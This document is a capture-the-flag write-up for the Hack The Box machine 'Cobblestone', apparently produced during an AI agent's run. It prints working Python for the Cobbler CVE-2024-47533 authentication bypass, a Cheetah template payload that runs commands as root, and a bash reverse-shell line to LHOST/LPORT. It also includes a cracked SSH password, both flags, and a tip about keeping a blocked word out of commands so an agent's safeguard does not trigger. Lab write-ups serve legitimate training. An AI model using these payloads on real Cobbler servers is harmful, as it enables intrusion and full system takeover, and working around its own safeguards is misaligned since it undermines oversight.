Back to writeups
HTBmachineInsanesolved

Cobblestone

15 Jul 2026 · by 0xIDA

Solvers

Cobblestone (HTB Insane Linux)

Author: 0xIDA

Solvers

Summary

Free Insane Linux machine (id 691, maker c1sc0). Web stack is a Minecraft-themed multi-vhost PHP/MySQL site; foothold user is cobble (rbash). Root is Cobbler 3.3.6 XML-RPC auth bypass CVE-2024-47533 (login("", -1)) plus Cheetah template RCE on generate_profile_autoinstall.

Primary public writeup referenced by user (xipherrex) is incomplete (PoC image never loads). Chain below was verified live.

Flags (verified)

user: c566e420923ff0627a77695dda1964a0
root: 43755d6080cbca7e9abc840eeecd23de

Submit result: MCP submit_user_flag / submit_root_flag both accepted (owned).

Recon

Target IP (this session): 10.129.232.170
Attacker VPN: 10.10.15.137 (tun0)

echo '10.129.232.170 cobblestone.htb vote.cobblestone.htb deploy.cobblestone.htb mc.cobblestone.htb' >> /etc/hosts
nmap -Pn -p 22,80 -sV 10.129.232.170

Open:

  • 22/tcp OpenSSH 9.2p1 Debian 12
  • 80/tcp Apache 2.4.62 → redirect to http://cobblestone.htb/

Landing page links: deploy.cobblestone.htb, skins.php, vote.cobblestone.htb, mc.cobblestone.htb.

Intended user path (web chain)

Full path (from detailed third-party walkthroughs; abbreviated):

  1. Register on cobblestone.htb / vote app.
  2. SQLi on Suggest Skin / Suggest Server URL params (UNION + LOAD_FILE with FILE priv as voteuser).
  3. Read Apache vhosts (Cobbler proxy 127.0.0.1:25151), sshd_config (chroot jail for cobble), DB creds, preview_banner.php Twig usage.
  4. Vote DB dump may yield bcrypt admin hash (often uncrackable after rotation).
  5. Stored XSS in skin suggestion → admin bot hits Twig SSTI on preview_banner.php → dump cobblestone.users → crack SHA-256 for cobble.
  6. Known plaintext from public writeups (still valid this session):
cobble : iluvdannymorethanyouknow

User (this session)

Password still valid; SSH lands in rbash:

sshpass -p 'iluvdannymorethanyouknow' ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no cobble@10.129.232.170 'cat user.txt'
# c566e420923ff0627a77695dda1964a0

Root — Cobbler CVE-2024-47533 + Cheetah

Forward internal Cobbler XML-RPC:

sshpass -p 'iluvdannymorethanyouknow' ssh -N \
  -L 127.0.0.1:25151:127.0.0.1:25151 \
  -o PreferredAuthentications=password -o PubkeyAuthentication=no \
  cobble@10.129.232.170

Auth bypass (password must be integer -1, not "-1"):

import xmlrpc.client
s = xmlrpc.client.ServerProxy("http://127.0.0.1:25151")
t = s.login("", -1)  # token

Cheetah RCE via autoinstall template + dummy distro/profile (kernel on box: /boot/vmlinuz-6.1.0-37-amd64):

payload = (
    '#set $null = __import__(\'os\').system('
    '"cp /root/root.txt /var/www/html/rf.txt; chmod 644 /var/www/html/rf.txt")\n'
    "lang en_US\n"
)
s.write_autoinstall_template("pwn.ks", payload, t)
# new_distro / modify kernel+initrd / save_distro
# new_profile / autoinstall=pwn.ks / save_profile
s.generate_profile_autoinstall("pwnprofile")

Fetch flag:

curl -s http://cobblestone.htb/rf.txt
# 43755d6080cbca7e9abc840eeecd23de

Reverse shell also works (open UFW for attacker port from 10.0.0.0/8 first):

#set $null = __import__('os').system('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')

Confirmed root@cobblestone callback on port 4455.

Pitfalls

  • xipherrex writeup skips the full web chain and never shows working PoC code.
  • login("", "-1") fails; use integer -1.
  • Agent hardline may block shell commands containing the kickstart word reboot — omit it from templates.
  • UFW DROP on attacker host kills Cobbler reverse shells / TCP exfil until ufw allow from 10.0.0.0/8 to any port <p>.
  • cobble is rbash (+ chroot jail per writeups); prefer SSH -L from attacker, not interactive privesc from the jail.
  • Writing only to /home/cobble can fail depending on jail/AppArmor; /var/www/html worked for root flag drop.

Tools

nmap, curl, ssh/sshpass, Python xmlrpc.client, UFW

Solver

`

References